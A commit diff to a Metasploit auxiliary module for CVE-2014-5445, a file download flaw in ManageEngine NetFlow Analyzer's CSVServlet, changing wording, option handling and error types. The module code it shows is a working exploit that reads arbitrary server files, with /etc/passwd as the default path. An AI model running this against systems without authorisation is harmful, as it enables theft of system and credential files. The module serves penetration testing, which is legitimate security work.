@@ -12,18 +12,18 @@ class Metasploit3 < Msf::Auxiliary
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => " ManageEngine NetFlow Analyzer Arbitrary File Download" ,
15
+ 'Name' => ' ManageEngine NetFlow Analyzer Arbitrary File Download' ,
16
16
'Description' => %q{
17
- This module exploits an arbitrary file download vulnerability in CSVServlet
18
- on ManageEngine NetFlow Analyzer.
19
- This module has been tested on both Windows and Linux with versions 8.6 to 10.2.
20
- Windows paths have to be escaped with 4 backslashes on the command line.
17
+ This module exploits an arbitrary file download vulnerability in CSVServlet
18
+ on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
19
+ and Linux with versions 8.6 to 10.2. Windows paths have to be escaped with 2
20
+ backslashes on the command line.
21
21
} ,
22
- 'Author' =>
22
+ 'Author' =>
23
23
[
24
24
'Pedro Ribeiro <pedrib[at]gmail.com>' , # Vulnerability Discovery and Metasploit module
25
25
] ,
26
- 'License' => MSF_LICENSE ,
26
+ 'License' => MSF_LICENSE ,
27
27
'References' =>
28
28
[
29
29
[ 'CVE' , '2014-5445' ] ,
@@ -38,18 +38,12 @@ def initialize(info={})
38
38
Opt ::RPORT ( 8080 ) ,
39
39
OptString . new ( 'TARGETURI' ,
40
40
[ true , "The base path to NetFlow Analyzer" , '/netflow' ] ) ,
41
- OptString . new ( 'FILEPATH' , [ false , 'Path of the file to download (escape Windows paths with 4 back slashes)' , '/etc/passwd' ] ) ,
41
+ OptString . new ( 'FILEPATH' , [ true , 'Path of the file to download (escape Windows paths with 2 back slashes)' , '/etc/passwd' ] ) ,
42
42
] , self . class )
43
43
end
44
44
45
45
46
46
def run
47
- # No point to continue if filepath is not specified
48
- if datastore [ 'FILEPATH' ] . nil? || datastore [ 'FILEPATH' ] . empty?
49
- print_error ( "Please supply the path of the file you want to download." )
50
- return
51
- end
52
-
53
47
# Create request
54
48
begin
55
49
print_status ( "#{ peer } - Downloading file #{ datastore [ 'FILEPATH' ] } " )
@@ -58,7 +52,7 @@ def run
58
52
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlet' , 'CSVServlet' ) ,
59
53
'vars_get' => { 'schFilePath' => datastore [ 'FILEPATH' ] } ,
60
54
} )
61
- rescue Rex ::ConnectionRefused
55
+ rescue Rex ::ConnectionError
62
56
print_error ( "#{ peer } - Could not connect." )
63
57
return
64
58
end
@@ -79,7 +73,7 @@ def run
79
73
res . body ,
80
74
fname
81
75
)
82
- print_good ( "File saved in: #{ path } " )
76
+ print_good ( "#{ peer } - File saved in: #{ path } " )
83
77
else
84
78
print_error ( "#{ peer } - Failed to download file." )
85
79
end
0 commit comments